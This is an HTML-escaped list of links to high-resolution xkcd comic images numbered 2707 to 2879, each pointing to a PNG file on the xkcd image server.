&lt;li>2707: &lt;a href="https://imgs.xkcd.com/comics/astronomy_numbers_2x.png">https://imgs.xkcd.com/comics/astronomy_numbers_2x.png&lt;/a>&lt;/li>
&lt;li>2708: &lt;a href="https://imgs.xkcd.com/comics/mystery_asterisk_destination_2x.png">https://imgs.xkcd.com/comics/mystery_asterisk_destination_2x.png&lt;/a>&lt;/li>
&lt;li>2709: &lt;a href="https://imgs.xkcd.com/comics/solar_system_model_2x.png">https://imgs.xkcd.com/comics/solar_system_model_2x.png&lt;/a>&lt;/li>
&lt;li>2710: &lt;a href="https://imgs.xkcd.com/comics/hydropower_breakthrough_2x.png">https://imgs.xkcd.com/comics/hydropower_breakthrough_2x.png&lt;/a>&lt;/li>
&lt;li>2711: &lt;a href="https://imgs.xkcd.com/comics/optimal_bowling_2x.png">https://imgs.xkcd.com/comics/optimal_bowling_2x.png&lt;/a>&lt;/li>
&lt;li>2712: &lt;a href="https://imgs.xkcd.com/comics/gravity_2x.png">https://imgs.xkcd.com/comics/gravity_2x.png&lt;/a>&lt;/li>
&lt;li>2713: &lt;a href="https://imgs.xkcd.com/comics/data_point_2x.png">https://imgs.xkcd.com/comics/data_point_2x.png&lt;/a>&lt;/li>
&lt;li>2714: &lt;a href="https://imgs.xkcd.com/comics/cold_complaints_2x.png">https://imgs.xkcd.com/comics/cold_complaints_2x.png&lt;/a>&lt;/li>
&lt;li>2715: &lt;a href="https://imgs.xkcd.com/comics/pando_2x.png">https://imgs.xkcd.com/comics/pando_2x.png&lt;/a>&lt;/li>
&lt;li>2716: &lt;a href="https://imgs.xkcd.com/comics/game_night_ordering_2x.png">https://imgs.xkcd.com/comics/game_night_ordering_2x.png&lt;/a>&lt;/li>
&lt;li>2717: &lt;a href="https://imgs.xkcd.com/comics/l6_lagrange_point_2x.png">https://imgs.xkcd.com/comics/l6_lagrange_point_2x.png&lt;/a>&lt;/li>
&lt;li>2718: &lt;a href="https://imgs.xkcd.com/comics/new_years_eve_party_2x.png">https://imgs.xkcd.com/comics/new_years_eve_party_2x.png&lt;/a>&lt;/li>
&lt;li>2719: &lt;a href="https://imgs.xkcd.com/comics/hydrogen_isotopes_2x.png">https://imgs.xkcd.com/comics/hydrogen_isotopes_2x.png&lt;/a>&lt;/li>
&lt;li>2720: &lt;a href="https://imgs.xkcd.com/comics/biology_vs_robotics_2x.png">https://imgs.xkcd.com/comics/biology_vs_robotics_2x.png&lt;/a>&lt;/li>
&lt;li>2721: &lt;a href="https://imgs.xkcd.com/comics/euler_diagrams_2x.png">https://imgs.xkcd.com/comics/euler_diagrams_2x.png&lt;/a>&lt;/li>
&lt;li>2722: &lt;a href="https://imgs.xkcd.com/comics/etymonline_2x.png">https://imgs.xkcd.com/comics/etymonline_2x.png&lt;/a>&lt;/li>
&lt;li>2723: &lt;a href="https://imgs.xkcd.com/comics/outdated_periodic_table_2x.png">https://imgs.xkcd.com/comics/outdated_periodic_table_2x.png&lt;/a>&lt;/li>
&lt;li>2724: &lt;a href="https://imgs.xkcd.com/comics/washing_machine_settings_2x.png">https://imgs.xkcd.com/comics/washing_machine_settings_2x.png&lt;/a>&lt;/li>
&lt;li>2725: &lt;a href="https://imgs.xkcd.com/comics/sunspot_cycle_2x.png">https://imgs.xkcd.com/comics/sunspot_cycle_2x.png&lt;/a>&lt;/li>
&lt;li>2726: &lt;a href="https://imgs.xkcd.com/comics/methodology_trial_2x.png">https://imgs.xkcd.com/comics/methodology_trial_2x.png&lt;/a>&lt;/li>
&lt;li>2727: &lt;a href="https://imgs.xkcd.com/comics/runtime_2x.png">https://imgs.xkcd.com/comics/runtime_2x.png&lt;/a>&lt;/li>
&lt;li>2728: &lt;a href="https://imgs.xkcd.com/comics/lane_change_highway_2x.png">https://imgs.xkcd.com/comics/lane_change_highway_2x.png&lt;/a>&lt;/li>
&lt;li>2729: &lt;a href="https://imgs.xkcd.com/comics/planet_killer_comet_margarita_2x.png">https://imgs.xkcd.com/comics/planet_killer_comet_margarita_2x.png&lt;/a>&lt;/li>
&lt;li>2730: &lt;a href="https://imgs.xkcd.com/comics/code_lifespan_2x.png">https://imgs.xkcd.com/comics/code_lifespan_2x.png&lt;/a>&lt;/li>
&lt;li>2731: &lt;a href="https://imgs.xkcd.com/comics/k_means_clustering_2x.png">https://imgs.xkcd.com/comics/k_means_clustering_2x.png&lt;/a>&lt;/li>
&lt;li>2732: &lt;a href="https://imgs.xkcd.com/comics/bursa_of_fabricius_2x.png">https://imgs.xkcd.com/comics/bursa_of_fabricius_2x.png&lt;/a>&lt;/li>
&lt;li>2733: &lt;a href="https://imgs.xkcd.com/comics/size_comparisons_2x.png">https://imgs.xkcd.com/comics/size_comparisons_2x.png&lt;/a>&lt;/li>
&lt;li>2734: &lt;a href="https://imgs.xkcd.com/comics/electron_color_2x.png">https://imgs.xkcd.com/comics/electron_color_2x.png&lt;/a>&lt;/li>
&lt;li>2735: &lt;a href="https://imgs.xkcd.com/comics/coordinate_plane_closure_2x.png">https://imgs.xkcd.com/comics/coordinate_plane_closure_2x.png&lt;/a>&lt;/li>
&lt;li>2736: &lt;a href="https://imgs.xkcd.com/comics/only_serifs_2x.png">https://imgs.xkcd.com/comics/only_serifs_2x.png&lt;/a>&lt;/li>
&lt;li>2737: &lt;a href="https://imgs.xkcd.com/comics/weather_station_2x.png">https://imgs.xkcd.com/comics/weather_station_2x.png&lt;/a>&lt;/li>
&lt;li>2738: &lt;a href="https://imgs.xkcd.com/comics/omniknot_2x.png">https://imgs.xkcd.com/comics/omniknot_2x.png&lt;/a>&lt;/li>
&lt;li>2739: &lt;a href="https://imgs.xkcd.com/comics/data_quality_2x.png">https://imgs.xkcd.com/comics/data_quality_2x.png&lt;/a>&lt;/li>
&lt;li>2740: &lt;a href="https://imgs.xkcd.com/comics/square_packing_2x.png">https://imgs.xkcd.com/comics/square_packing_2x.png&lt;/a>&lt;/li>
&lt;li>2741: &lt;a href="https://imgs.xkcd.com/comics/wish_interpretation_2x.png">https://imgs.xkcd.com/comics/wish_interpretation_2x.png&lt;/a>&lt;/li>
&lt;li>2742: &lt;a href="https://imgs.xkcd.com/comics/island_storage_2x.png">https://imgs.xkcd.com/comics/island_storage_2x.png&lt;/a>&lt;/li>
&lt;li>2743: &lt;a href="https://imgs.xkcd.com/comics/hand_dryers_2x.png">https://imgs.xkcd.com/comics/hand_dryers_2x.png&lt;/a>&lt;/li>
&lt;li>2744: &lt;a href="https://imgs.xkcd.com/comics/fanservice_2x.png">https://imgs.xkcd.com/comics/fanservice_2x.png&lt;/a>&lt;/li>
&lt;li>2745: &lt;a href="https://imgs.xkcd.com/comics/obituary_editor_2x.png">https://imgs.xkcd.com/comics/obituary_editor_2x.png&lt;/a>&lt;/li>
&lt;li>2746: &lt;a href="https://imgs.xkcd.com/comics/launch_window_2x.png">https://imgs.xkcd.com/comics/launch_window_2x.png&lt;/a>&lt;/li>
&lt;li>2747: &lt;a href="https://imgs.xkcd.com/comics/presents_for_biologists_2x.png">https://imgs.xkcd.com/comics/presents_for_biologists_2x.png&lt;/a>&lt;/li>
&lt;li>2748: &lt;a href="https://imgs.xkcd.com/comics/radians_are_cursed_2x.png">https://imgs.xkcd.com/comics/radians_are_cursed_2x.png&lt;/a>&lt;/li>
&lt;li>2749: &lt;a href="https://imgs.xkcd.com/comics/lymphocytes_2x.png">https://imgs.xkcd.com/comics/lymphocytes_2x.png&lt;/a>&lt;/li>
&lt;li>2750: &lt;a href="https://imgs.xkcd.com/comics/flatten_the_planets_2x.png">https://imgs.xkcd.com/comics/flatten_the_planets_2x.png&lt;/a>&lt;/li>
&lt;li>2751: &lt;a href="https://imgs.xkcd.com/comics/march_madness_2x.png">https://imgs.xkcd.com/comics/march_madness_2x.png&lt;/a>&lt;/li>
&lt;li>2752: &lt;a href="https://imgs.xkcd.com/comics/salt_dome_2x.png">https://imgs.xkcd.com/comics/salt_dome_2x.png&lt;/a>&lt;/li>
&lt;li>2753: &lt;a href="https://imgs.xkcd.com/comics/air_handler_2x.png">https://imgs.xkcd.com/comics/air_handler_2x.png&lt;/a>&lt;/li>
&lt;li>2754: &lt;a href="https://imgs.xkcd.com/comics/relative_terms_2x.png">https://imgs.xkcd.com/comics/relative_terms_2x.png&lt;/a>&lt;/li>
&lt;li>2755: &lt;a href="https://imgs.xkcd.com/comics/effect_size_2x.png">https://imgs.xkcd.com/comics/effect_size_2x.png&lt;/a>&lt;/li>
&lt;li>2756: &lt;a href="https://imgs.xkcd.com/comics/qualifications_2x.png">https://imgs.xkcd.com/comics/qualifications_2x.png&lt;/a>&lt;/li>
&lt;li>2757: &lt;a href="https://imgs.xkcd.com/comics/towed_message_2x.png">https://imgs.xkcd.com/comics/towed_message_2x.png&lt;/a>&lt;/li>
&lt;li>2758: &lt;a href="https://imgs.xkcd.com/comics/my_favorite_things_2x.png">https://imgs.xkcd.com/comics/my_favorite_things_2x.png&lt;/a>&lt;/li>
&lt;li>2759: &lt;a href="https://imgs.xkcd.com/comics/easily_confused_acronyms_2x.png">https://imgs.xkcd.com/comics/easily_confused_acronyms_2x.png&lt;/a>&lt;/li>
&lt;li>2760: &lt;a href="https://imgs.xkcd.com/comics/paleontology_museum_2x.png">https://imgs.xkcd.com/comics/paleontology_museum_2x.png&lt;/a>&lt;/li>
&lt;li>2761: &lt;a href="https://imgs.xkcd.com/comics/1_to_1_scale_2x.png">https://imgs.xkcd.com/comics/1_to_1_scale_2x.png&lt;/a>&lt;/li>
&lt;li>2762: &lt;a href="https://imgs.xkcd.com/comics/diffraction_spikes_2x.png">https://imgs.xkcd.com/comics/diffraction_spikes_2x.png&lt;/a>&lt;/li>
&lt;li>2763: &lt;a href="https://imgs.xkcd.com/comics/linguistics_gossip_2x.png">https://imgs.xkcd.com/comics/linguistics_gossip_2x.png&lt;/a>&lt;/li>
&lt;li>2764: &lt;a href="https://imgs.xkcd.com/comics/cosmological_nostalgia_content_2x.png">https://imgs.xkcd.com/comics/cosmological_nostalgia_content_2x.png&lt;/a>&lt;/li>
&lt;li>2765: &lt;a href="https://imgs.xkcd.com/comics/escape_speed_2x.png">https://imgs.xkcd.com/comics/escape_speed_2x.png&lt;/a>&lt;/li>
&lt;li>2766: &lt;a href="https://imgs.xkcd.com/comics/helium_reserve_2x.png">https://imgs.xkcd.com/comics/helium_reserve_2x.png&lt;/a>&lt;/li>
&lt;li>2767: &lt;a href="https://imgs.xkcd.com/comics/recipe_relativity_2x.png">https://imgs.xkcd.com/comics/recipe_relativity_2x.png&lt;/a>&lt;/li>
&lt;li>2768: &lt;a href="https://imgs.xkcd.com/comics/definition_of_e_2x.png">https://imgs.xkcd.com/comics/definition_of_e_2x.png&lt;/a>&lt;/li>
&lt;li>2769: &lt;a href="https://imgs.xkcd.com/comics/overlapping_circles_2x.png">https://imgs.xkcd.com/comics/overlapping_circles_2x.png&lt;/a>&lt;/li>
&lt;li>2770: &lt;a href="https://imgs.xkcd.com/comics/tapetum_lucidum_2x.png">https://imgs.xkcd.com/comics/tapetum_lucidum_2x.png&lt;/a>&lt;/li>
&lt;li>2771: &lt;a href="https://imgs.xkcd.com/comics/college_knowledge_2x.png">https://imgs.xkcd.com/comics/college_knowledge_2x.png&lt;/a>&lt;/li>
&lt;li>2772: &lt;a href="https://imgs.xkcd.com/comics/commemorative_plaque_2x.png">https://imgs.xkcd.com/comics/commemorative_plaque_2x.png&lt;/a>&lt;/li>
&lt;li>2773: &lt;a href="https://imgs.xkcd.com/comics/planetary_scientist_2x.png">https://imgs.xkcd.com/comics/planetary_scientist_2x.png&lt;/a>&lt;/li>
&lt;li>2774: &lt;a href="https://imgs.xkcd.com/comics/taxiing_2x.png">https://imgs.xkcd.com/comics/taxiing_2x.png&lt;/a>&lt;/li>
&lt;li>2775: &lt;a href="https://imgs.xkcd.com/comics/siphon_2x.png">https://imgs.xkcd.com/comics/siphon_2x.png&lt;/a>&lt;/li>
&lt;li>2776: &lt;a href="https://imgs.xkcd.com/comics/crystal_ball_2x.png">https://imgs.xkcd.com/comics/crystal_ball_2x.png&lt;/a>&lt;/li>
&lt;li>2777: &lt;a href="https://imgs.xkcd.com/comics/noise_filter_2x.png">https://imgs.xkcd.com/comics/noise_filter_2x.png&lt;/a>&lt;/li>
&lt;li>2778: &lt;a href="https://imgs.xkcd.com/comics/cuisine_2x.png">https://imgs.xkcd.com/comics/cuisine_2x.png&lt;/a>&lt;/li>
&lt;li>2779: &lt;a href="https://imgs.xkcd.com/comics/exoplanet_high_5_2x.png">https://imgs.xkcd.com/comics/exoplanet_high_5_2x.png&lt;/a>&lt;/li>
&lt;li>2780: &lt;a href="https://imgs.xkcd.com/comics/physical_quantities_2x.png">https://imgs.xkcd.com/comics/physical_quantities_2x.png&lt;/a>&lt;/li>
&lt;li>2781: &lt;a href="https://imgs.xkcd.com/comics/the_six_platonic_solids_2x.png">https://imgs.xkcd.com/comics/the_six_platonic_solids_2x.png&lt;/a>&lt;/li>
&lt;li>2782: &lt;a href="https://imgs.xkcd.com/comics/wikipedia_article_titles_2x.png">https://imgs.xkcd.com/comics/wikipedia_article_titles_2x.png&lt;/a>&lt;/li>
&lt;li>2783: &lt;a href="https://imgs.xkcd.com/comics/ruling_out_2x.png">https://imgs.xkcd.com/comics/ruling_out_2x.png&lt;/a>&lt;/li>
&lt;li>2784: &lt;a href="https://imgs.xkcd.com/comics/drainage_basins_2x.png">https://imgs.xkcd.com/comics/drainage_basins_2x.png&lt;/a>&lt;/li>
&lt;li>2785: &lt;a href="https://imgs.xkcd.com/comics/marble_run_2x.png">https://imgs.xkcd.com/comics/marble_run_2x.png&lt;/a>&lt;/li>
&lt;li>2786: &lt;a href="https://imgs.xkcd.com/comics/ufo_evidence_2x.png">https://imgs.xkcd.com/comics/ufo_evidence_2x.png&lt;/a>&lt;/li>
&lt;li>2787: &lt;a href="https://imgs.xkcd.com/comics/iceberg_2x.png">https://imgs.xkcd.com/comics/iceberg_2x.png&lt;/a>&lt;/li>
&lt;li>2788: &lt;a href="https://imgs.xkcd.com/comics/musical_scales_2x.png">https://imgs.xkcd.com/comics/musical_scales_2x.png&lt;/a>&lt;/li>
&lt;li>2789: &lt;a href="https://imgs.xkcd.com/comics/making_plans_2x.png">https://imgs.xkcd.com/comics/making_plans_2x.png&lt;/a>&lt;/li>
&lt;li>2790: &lt;a href="https://imgs.xkcd.com/comics/heat_pump_2x.png">https://imgs.xkcd.com/comics/heat_pump_2x.png&lt;/a>&lt;/li>
&lt;li>2791: &lt;a href="https://imgs.xkcd.com/comics/bookshelf_sorting_2x.png">https://imgs.xkcd.com/comics/bookshelf_sorting_2x.png&lt;/a>&lt;/li>
&lt;li>2792: &lt;a href="https://imgs.xkcd.com/comics/summer_solstice_2x.png">https://imgs.xkcd.com/comics/summer_solstice_2x.png&lt;/a>&lt;/li>
&lt;li>2793: &lt;a href="https://imgs.xkcd.com/comics/garden_path_sentence_2x.png">https://imgs.xkcd.com/comics/garden_path_sentence_2x.png&lt;/a>&lt;/li>
&lt;li>2794: &lt;a href="https://imgs.xkcd.com/comics/alphabet_notes_2x.png">https://imgs.xkcd.com/comics/alphabet_notes_2x.png&lt;/a>&lt;/li>
&lt;li>2795: &lt;a href="https://imgs.xkcd.com/comics/glass_topped_table_2x.png">https://imgs.xkcd.com/comics/glass_topped_table_2x.png&lt;/a>&lt;/li>
&lt;li>2796: &lt;a href="https://imgs.xkcd.com/comics/real_estate_analysis_2x.png">https://imgs.xkcd.com/comics/real_estate_analysis_2x.png&lt;/a>&lt;/li>
&lt;li>2797: &lt;a href="https://imgs.xkcd.com/comics/actual_progress_2x.png">https://imgs.xkcd.com/comics/actual_progress_2x.png&lt;/a>&lt;/li>
&lt;li>2798: &lt;a href="https://imgs.xkcd.com/comics/room_temperature_2x.png">https://imgs.xkcd.com/comics/room_temperature_2x.png&lt;/a>&lt;/li>
&lt;li>2799: &lt;a href="https://imgs.xkcd.com/comics/frankenstein_claim_permutations_2x.png">https://imgs.xkcd.com/comics/frankenstein_claim_permutations_2x.png&lt;/a>&lt;/li>
&lt;li>2800: &lt;a href="https://imgs.xkcd.com/comics/down_2x.png">https://imgs.xkcd.com/comics/down_2x.png&lt;/a>&lt;/li>
&lt;li>2801: &lt;a href="https://imgs.xkcd.com/comics/contact_merge_2x.png">https://imgs.xkcd.com/comics/contact_merge_2x.png&lt;/a>&lt;/li>
&lt;li>2802: &lt;a href="https://imgs.xkcd.com/comics/fireflies_2x.png">https://imgs.xkcd.com/comics/fireflies_2x.png&lt;/a>&lt;/li>
&lt;li>2803: &lt;a href="https://imgs.xkcd.com/comics/geohydrotypography_2x.png">https://imgs.xkcd.com/comics/geohydrotypography_2x.png&lt;/a>&lt;/li>
&lt;li>2804: &lt;a href="https://imgs.xkcd.com/comics/marshmallow_2x.png">https://imgs.xkcd.com/comics/marshmallow_2x.png&lt;/a>&lt;/li>
&lt;li>2805: &lt;a href="https://imgs.xkcd.com/comics/global_atmospheric_circulation_2x.png">https://imgs.xkcd.com/comics/global_atmospheric_circulation_2x.png&lt;/a>&lt;/li>
&lt;li>2806: &lt;a href="https://imgs.xkcd.com/comics/anti_vaxxers_2x.png">https://imgs.xkcd.com/comics/anti_vaxxers_2x.png&lt;/a>&lt;/li>
&lt;li>2807: &lt;a href="https://imgs.xkcd.com/comics/bad_map_projection_abs_longitude_2x.png">https://imgs.xkcd.com/comics/bad_map_projection_abs_longitude_2x.png&lt;/a>&lt;/li>
&lt;li>2808: &lt;a href="https://imgs.xkcd.com/comics/daytime_firefly_2x.png">https://imgs.xkcd.com/comics/daytime_firefly_2x.png&lt;/a>&lt;/li>
&lt;li>2809: &lt;a href="https://imgs.xkcd.com/comics/moon_2x.png">https://imgs.xkcd.com/comics/moon_2x.png&lt;/a>&lt;/li>
&lt;li>2810: &lt;a href="https://imgs.xkcd.com/comics/how_to_coil_a_cable_2x.png">https://imgs.xkcd.com/comics/how_to_coil_a_cable_2x.png&lt;/a>&lt;/li>
&lt;li>2811: &lt;a href="https://imgs.xkcd.com/comics/free_fallin_2x.png">https://imgs.xkcd.com/comics/free_fallin_2x.png&lt;/a>&lt;/li>
&lt;li>2812: &lt;a href="https://imgs.xkcd.com/comics/solar_panel_placement_2x.png">https://imgs.xkcd.com/comics/solar_panel_placement_2x.png&lt;/a>&lt;/li>
&lt;li>2813: &lt;a href="https://imgs.xkcd.com/comics/what_to_do_2x.png">https://imgs.xkcd.com/comics/what_to_do_2x.png&lt;/a>&lt;/li>
&lt;li>2814: &lt;a href="https://imgs.xkcd.com/comics/perseids_pronunciation_2x.png">https://imgs.xkcd.com/comics/perseids_pronunciation_2x.png&lt;/a>&lt;/li>
&lt;li>2815: &lt;a href="https://imgs.xkcd.com/comics/car_wash_2x.png">https://imgs.xkcd.com/comics/car_wash_2x.png&lt;/a>&lt;/li>
&lt;li>2816: &lt;a href="https://imgs.xkcd.com/comics/types_of_solar_eclipse_2x.png">https://imgs.xkcd.com/comics/types_of_solar_eclipse_2x.png&lt;/a>&lt;/li>
&lt;li>2817: &lt;a href="https://imgs.xkcd.com/comics/electron_holes_2x.png">https://imgs.xkcd.com/comics/electron_holes_2x.png&lt;/a>&lt;/li>
&lt;li>2818: &lt;a href="https://imgs.xkcd.com/comics/circuit_symbols_2x.png">https://imgs.xkcd.com/comics/circuit_symbols_2x.png&lt;/a>&lt;/li>
&lt;li>2819: &lt;a href="https://imgs.xkcd.com/comics/pronunciation_2x.png">https://imgs.xkcd.com/comics/pronunciation_2x.png&lt;/a>&lt;/li>
&lt;li>2820: &lt;a href="https://imgs.xkcd.com/comics/inspiration_2x.png">https://imgs.xkcd.com/comics/inspiration_2x.png&lt;/a>&lt;/li>
&lt;li>2821: &lt;a href="https://imgs.xkcd.com/comics/path_minimization_2x.png">https://imgs.xkcd.com/comics/path_minimization_2x.png&lt;/a>&lt;/li>
&lt;li>2822: &lt;a href="https://imgs.xkcd.com/comics/gmail_com_2x.png">https://imgs.xkcd.com/comics/gmail_com_2x.png&lt;/a>&lt;/li>
&lt;li>2823: &lt;a href="https://imgs.xkcd.com/comics/fossil_2x.png">https://imgs.xkcd.com/comics/fossil_2x.png&lt;/a>&lt;/li>
&lt;li>2824: &lt;a href="https://imgs.xkcd.com/comics/abstract_pickup_2x.png">https://imgs.xkcd.com/comics/abstract_pickup_2x.png&lt;/a>&lt;/li>
&lt;li>2825: &lt;a href="https://imgs.xkcd.com/comics/autumn_and_fall_2x.png">https://imgs.xkcd.com/comics/autumn_and_fall_2x.png&lt;/a>&lt;/li>
&lt;li>2826: &lt;a href="https://imgs.xkcd.com/comics/gold_2x.png">https://imgs.xkcd.com/comics/gold_2x.png&lt;/a>&lt;/li>
&lt;li>2827: &lt;a href="https://imgs.xkcd.com/comics/brassica_2x.png">https://imgs.xkcd.com/comics/brassica_2x.png&lt;/a>&lt;/li>
&lt;li>2828: &lt;a href="https://imgs.xkcd.com/comics/exoplanet_observation_2x.png">https://imgs.xkcd.com/comics/exoplanet_observation_2x.png&lt;/a>&lt;/li>
&lt;li>2829: &lt;a href="https://imgs.xkcd.com/comics/iceberg_efficiency_2x.png">https://imgs.xkcd.com/comics/iceberg_efficiency_2x.png&lt;/a>&lt;/li>
&lt;li>2830: &lt;a href="https://imgs.xkcd.com/comics/haunted_house_2x.png">https://imgs.xkcd.com/comics/haunted_house_2x.png&lt;/a>&lt;/li>
&lt;li>2831: &lt;a href="https://imgs.xkcd.com/comics/xkcd_phone_flip_2x.png">https://imgs.xkcd.com/comics/xkcd_phone_flip_2x.png&lt;/a>&lt;/li>
&lt;li>2832: &lt;a href="https://imgs.xkcd.com/comics/urban_planning_opinion_progression_2x.png">https://imgs.xkcd.com/comics/urban_planning_opinion_progression_2x.png&lt;/a>&lt;/li>
&lt;li>2833: &lt;a href="https://imgs.xkcd.com/comics/lying_2x.png">https://imgs.xkcd.com/comics/lying_2x.png&lt;/a>&lt;/li>
&lt;li>2834: &lt;a href="https://imgs.xkcd.com/comics/book_podcasts_2x.png">https://imgs.xkcd.com/comics/book_podcasts_2x.png&lt;/a>&lt;/li>
&lt;li>2835: &lt;a href="https://imgs.xkcd.com/comics/factorial_numbers_2x.png">https://imgs.xkcd.com/comics/factorial_numbers_2x.png&lt;/a>&lt;/li>
&lt;li>2836: &lt;a href="https://imgs.xkcd.com/comics/a_halloween_carol_2x.png">https://imgs.xkcd.com/comics/a_halloween_carol_2x.png&lt;/a>&lt;/li>
&lt;li>2837: &lt;a href="https://imgs.xkcd.com/comics/odyssey_2x.png">https://imgs.xkcd.com/comics/odyssey_2x.png&lt;/a>&lt;/li>
&lt;li>2838: &lt;a href="https://imgs.xkcd.com/comics/dubious_islands_2x.png">https://imgs.xkcd.com/comics/dubious_islands_2x.png&lt;/a>&lt;/li>
&lt;li>2839: &lt;a href="https://imgs.xkcd.com/comics/language_acquisition_2x.png">https://imgs.xkcd.com/comics/language_acquisition_2x.png&lt;/a>&lt;/li>
&lt;li>2840: &lt;a href="https://imgs.xkcd.com/comics/earth_layers_2x.png">https://imgs.xkcd.com/comics/earth_layers_2x.png&lt;/a>&lt;/li>
&lt;li>2841: &lt;a href="https://imgs.xkcd.com/comics/sign_combo_2x.png">https://imgs.xkcd.com/comics/sign_combo_2x.png&lt;/a>&lt;/li>
&lt;li>2842: &lt;a href="https://imgs.xkcd.com/comics/inspiraling_roundabout_2x.png">https://imgs.xkcd.com/comics/inspiraling_roundabout_2x.png&lt;/a>&lt;/li>
&lt;li>2843: &lt;a href="https://imgs.xkcd.com/comics/professional_oaths_2x.png">https://imgs.xkcd.com/comics/professional_oaths_2x.png&lt;/a>&lt;/li>
&lt;li>2844: &lt;a href="https://imgs.xkcd.com/comics/black_holes_vs_regular_holes_2x.png">https://imgs.xkcd.com/comics/black_holes_vs_regular_holes_2x.png&lt;/a>&lt;/li>
&lt;li>2845: &lt;a href="https://imgs.xkcd.com/comics/extinction_mechanisms_2x.png">https://imgs.xkcd.com/comics/extinction_mechanisms_2x.png&lt;/a>&lt;/li>
&lt;li>2846: &lt;a href="https://imgs.xkcd.com/comics/daylight_saving_choice_2x.png">https://imgs.xkcd.com/comics/daylight_saving_choice_2x.png&lt;/a>&lt;/li>
&lt;li>2847: &lt;a href="https://imgs.xkcd.com/comics/dendrochronology_2x.png">https://imgs.xkcd.com/comics/dendrochronology_2x.png&lt;/a>&lt;/li>
&lt;li>2848: &lt;a href="https://imgs.xkcd.com/comics/breaker_box_2x.png">https://imgs.xkcd.com/comics/breaker_box_2x.png&lt;/a>&lt;/li>
&lt;li>2849: &lt;a href="https://imgs.xkcd.com/comics/under_the_stars_2x.png">https://imgs.xkcd.com/comics/under_the_stars_2x.png&lt;/a>&lt;/li>
&lt;li>2850: &lt;a href="https://imgs.xkcd.com/comics/doctors_office_2x.png">https://imgs.xkcd.com/comics/doctors_office_2x.png&lt;/a>&lt;/li>
&lt;li>2851: &lt;a href="https://imgs.xkcd.com/comics/messier_objects_2x.png">https://imgs.xkcd.com/comics/messier_objects_2x.png&lt;/a>&lt;/li>
&lt;li>2852: &lt;a href="https://imgs.xkcd.com/comics/parameterball_2x.png">https://imgs.xkcd.com/comics/parameterball_2x.png&lt;/a>&lt;/li>
&lt;li>2853: &lt;a href="https://imgs.xkcd.com/comics/redshift_2x.png">https://imgs.xkcd.com/comics/redshift_2x.png&lt;/a>&lt;/li>
&lt;li>2854: &lt;a href="https://imgs.xkcd.com/comics/date_line_2x.png">https://imgs.xkcd.com/comics/date_line_2x.png&lt;/a>&lt;/li>
&lt;li>2855: &lt;a href="https://imgs.xkcd.com/comics/empiricism_2x.png">https://imgs.xkcd.com/comics/empiricism_2x.png&lt;/a>&lt;/li>
&lt;li>2856: &lt;a href="https://imgs.xkcd.com/comics/materials_scientists_2x.png">https://imgs.xkcd.com/comics/materials_scientists_2x.png&lt;/a>&lt;/li>
&lt;li>2857: &lt;a href="https://imgs.xkcd.com/comics/rebuttals_2x.png">https://imgs.xkcd.com/comics/rebuttals_2x.png&lt;/a>&lt;/li>
&lt;li>2858: &lt;a href="https://imgs.xkcd.com/comics/thanksgiving_arguments_2x.png">https://imgs.xkcd.com/comics/thanksgiving_arguments_2x.png&lt;/a>&lt;/li>
&lt;li>2859: &lt;a href="https://imgs.xkcd.com/comics/oceanography_gift_2x.png">https://imgs.xkcd.com/comics/oceanography_gift_2x.png&lt;/a>&lt;/li>
&lt;li>2860: &lt;a href="https://imgs.xkcd.com/comics/decay_modes_2x.png">https://imgs.xkcd.com/comics/decay_modes_2x.png&lt;/a>&lt;/li>
&lt;li>2861: &lt;a href="https://imgs.xkcd.com/comics/x_value_2x.png">https://imgs.xkcd.com/comics/x_value_2x.png&lt;/a>&lt;/li>
&lt;li>2862: &lt;a href="https://imgs.xkcd.com/comics/typical_seating_chart_2x.png">https://imgs.xkcd.com/comics/typical_seating_chart_2x.png&lt;/a>&lt;/li>
&lt;li>2863: &lt;a href="https://imgs.xkcd.com/comics/space_typography_2x.png">https://imgs.xkcd.com/comics/space_typography_2x.png&lt;/a>&lt;/li>
&lt;li>2864: &lt;a href="https://imgs.xkcd.com/comics/compact_graphs_2x.png">https://imgs.xkcd.com/comics/compact_graphs_2x.png&lt;/a>&lt;/li>
&lt;li>2865: &lt;a href="https://imgs.xkcd.com/comics/the_wrong_stuff_2x.png">https://imgs.xkcd.com/comics/the_wrong_stuff_2x.png&lt;/a>&lt;/li>
&lt;li>2866: &lt;a href="https://imgs.xkcd.com/comics/snow_2x.png">https://imgs.xkcd.com/comics/snow_2x.png&lt;/a>&lt;/li>
&lt;li>2867: &lt;a href="https://imgs.xkcd.com/comics/datetime_2x.png">https://imgs.xkcd.com/comics/datetime_2x.png&lt;/a>&lt;/li>
&lt;li>2868: &lt;a href="https://imgs.xkcd.com/comics/label_the_states_2x.png">https://imgs.xkcd.com/comics/label_the_states_2x.png&lt;/a>&lt;/li>
&lt;li>2869: &lt;a href="https://imgs.xkcd.com/comics/puzzles_2x.png">https://imgs.xkcd.com/comics/puzzles_2x.png&lt;/a>&lt;/li>
&lt;li>2870: &lt;a href="https://imgs.xkcd.com/comics/love_songs_2x.png">https://imgs.xkcd.com/comics/love_songs_2x.png&lt;/a>&lt;/li>
&lt;li>2871: &lt;a href="https://imgs.xkcd.com/comics/definitely_2x.png">https://imgs.xkcd.com/comics/definitely_2x.png&lt;/a>&lt;/li>
&lt;li>2872: &lt;a href="https://imgs.xkcd.com/comics/hydrothermal_vents_2x.png">https://imgs.xkcd.com/comics/hydrothermal_vents_2x.png&lt;/a>&lt;/li>
&lt;li>2873: &lt;a href="https://imgs.xkcd.com/comics/supersymmetry_2x.png">https://imgs.xkcd.com/comics/supersymmetry_2x.png&lt;/a>&lt;/li>
&lt;li>2874: &lt;a href="https://imgs.xkcd.com/comics/iceland_2x.png">https://imgs.xkcd.com/comics/iceland_2x.png&lt;/a>&lt;/li>
&lt;li>2875: &lt;a href="https://imgs.xkcd.com/comics/2024_2x.png">https://imgs.xkcd.com/comics/2024_2x.png&lt;/a>&lt;/li>
&lt;li>2876: &lt;a href="https://imgs.xkcd.com/comics/range_safety_2x.png">https://imgs.xkcd.com/comics/range_safety_2x.png&lt;/a>&lt;/li>
&lt;li>2877: &lt;a href="https://imgs.xkcd.com/comics/fever_2x.png">https://imgs.xkcd.com/comics/fever_2x.png&lt;/a>&lt;/li>
&lt;li>2878: &lt;a href="https://imgs.xkcd.com/comics/supernova_2x.png">https://imgs.xkcd.com/comics/supernova_2x.png&lt;/a>&lt;/li>
&lt;li>2879: &lt;a href="https://imgs.xkcd.com/comics/like_this_one_2x.png">https://imgs.xkcd.com/comics/like_this_one_2x.png&lt;/a>&lt;/li>
